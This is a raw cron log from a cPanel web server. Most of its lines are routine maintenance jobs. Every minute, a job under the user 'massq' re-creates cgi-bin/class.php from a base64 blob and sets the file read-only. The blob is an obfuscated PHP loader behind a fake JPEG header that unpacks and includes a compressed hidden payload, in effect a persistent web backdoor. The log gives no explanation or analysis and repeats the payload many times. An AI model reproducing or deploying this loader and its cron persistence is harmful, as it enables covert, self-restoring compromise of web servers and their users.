Sep  2 20:30:01 server CROND[7868]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 20:30:01 server CROND[7866]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:30:01 server CROND[7867]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 20:31:01 server CROND[8704]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 20:31:01 server CROND[8705]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:31:01 server CROND[8706]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:32:01 server CROND[9166]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 20:32:01 server CROND[9167]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:32:01 server CROND[9168]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:33:01 server CROND[9545]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:33:01 server CROND[9546]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 20:33:01 server CROND[9547]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:34:01 server CROND[9919]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 20:34:01 server CROND[9920]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:34:01 server CROND[9921]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:35:01 server CROND[10314]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:35:01 server CROND[10316]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 20:35:01 server CROND[10318]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 20:35:01 server CROND[10320]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 20:35:01 server CROND[10323]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  2 20:35:01 server CROND[10325]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 20:35:01 server CROND[10324]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:35:01 server CROND[10319]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 20:35:01 server CROND[10321]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 20:36:01 server CROND[11148]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:36:01 server CROND[11149]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:36:01 server CROND[11151]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 20:37:01 server CROND[11519]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:37:01 server CROND[11520]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:37:01 server CROND[11521]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 20:38:01 server CROND[11988]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 20:38:01 server CROND[11989]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:38:01 server CROND[11990]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:39:01 server CROND[12360]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 20:39:01 server CROND[12362]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:39:01 server CROND[12363]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:39:01 server CROND[12364]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 20:40:01 server CROND[12770]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 20:40:01 server CROND[12772]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 20:40:01 server CROND[12780]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 20:40:01 server CROND[12783]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 20:40:01 server CROND[12781]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:40:01 server CROND[12782]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 20:40:01 server CROND[12785]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:40:01 server CROND[12786]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 20:41:01 server CROND[13604]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:41:01 server CROND[13605]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 20:41:01 server CROND[13606]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:42:01 server CROND[14044]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:42:01 server CROND[14046]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 20:42:01 server CROND[14047]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
